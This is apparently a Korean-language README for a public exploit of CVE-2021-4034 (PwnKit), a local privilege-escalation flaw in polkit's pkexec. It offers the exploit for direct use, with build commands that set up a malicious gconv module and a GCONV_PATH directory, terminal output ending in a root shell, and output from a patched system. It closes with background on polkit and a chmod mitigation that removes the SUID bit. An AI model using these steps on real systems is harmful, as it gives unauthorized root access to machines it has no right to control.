
# CVE-2021-4034 polkit pkexec 익스플로잇 SUID 권한 상승을 통해 루트 셸을 제공하는 polkit pkexec의 CVE-2021-4034 익스플로잇입니다. 소스 코드와 빌드 지침이 포함되어 있습니다.
polkit 권한 상승 익스플로잇
make, ./cve-2021-4034를 실행하기만 하면 루트 셸을 얻을 수 있습니다.
Qualys 팀의 원본 권고는 여기에서 확인할 수 있습니다.
익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
대부분의 시스템에서 polkit을 업데이트하면 익스플로잇이 패치되므로, 사용법이 출력되고 프로그램이 종료됩니다:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit(이전 명칭 PolicyKit)은 Unix 계열 운영 체제에서 시스템 전체 권한을 제어하기 위한 구성 요소입니다. 비권한 프로세스가 권한 있는 프로세스와 통신할 수 있는 체계적인 방법을 제공합니다. 또한 pkexec 명령 뒤에 실행하려는 명령(루트 권한 필요)을 붙여 polkit을 사용해 상승된 권한으로 명령을 실행할 수도 있습니다.
운영 체제에 사용 가능한 패치가 없는 경우, 임시 완화 조치로 pkexec에서 SUID 비트를 제거할 수 있습니다.
# chmod 0755 /usr/bin/pkexec